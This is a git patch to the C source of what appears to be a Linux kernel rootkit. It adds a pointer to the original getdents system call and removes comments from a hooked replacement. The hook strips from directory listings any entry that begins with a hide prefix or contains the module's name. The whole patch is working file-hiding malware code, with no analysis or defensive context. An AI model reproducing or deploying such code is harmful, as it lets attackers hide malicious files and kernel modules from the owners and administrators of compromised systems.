From 53e95217c228d69de63606098e999c8fae491d96 Mon Sep 17 00:00:00 2001 From: Valentin Lechner Date: Sun, 8 Dec 2019 12:02:08 +0100 Subject: [PATCH] Removing single-line comments --- src/637d3n75.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/src/637d3n75.c b/src/637d3n75.c index 24afd60..a6a6aee 100644 --- a/src/637d3n75.c +++ b/src/637d3n75.c @@ -23,6 +23,10 @@ *******************************************************************************/ #include "637d3n75.h" +/*** var ******************************************************************** +*******************************************************************************/ + +sys_getdents_ptr sys_getdents_orig; /*******************************************************************************/ @@ -48,22 +52,20 @@ asmlinkage long sys_getdents_new(unsigned int fd, dbuf = (char*)dirent; - // go through the entries, looking for one that has our prefix for (boff = 0; boff < ret;) { ent = (struct linux_dirent*)(dbuf + boff); - // if it has hide prefix or module name anywhere, hide it + if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) || (strstr(ent->d_name, MODULE_NAME) != NULL)) { - // remove this entry by copying everything after it forward - // and adjust the length reported + memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen)); ret -= ent->d_reclen; } else { - // on to the next entry + boff += ent->d_reclen; } }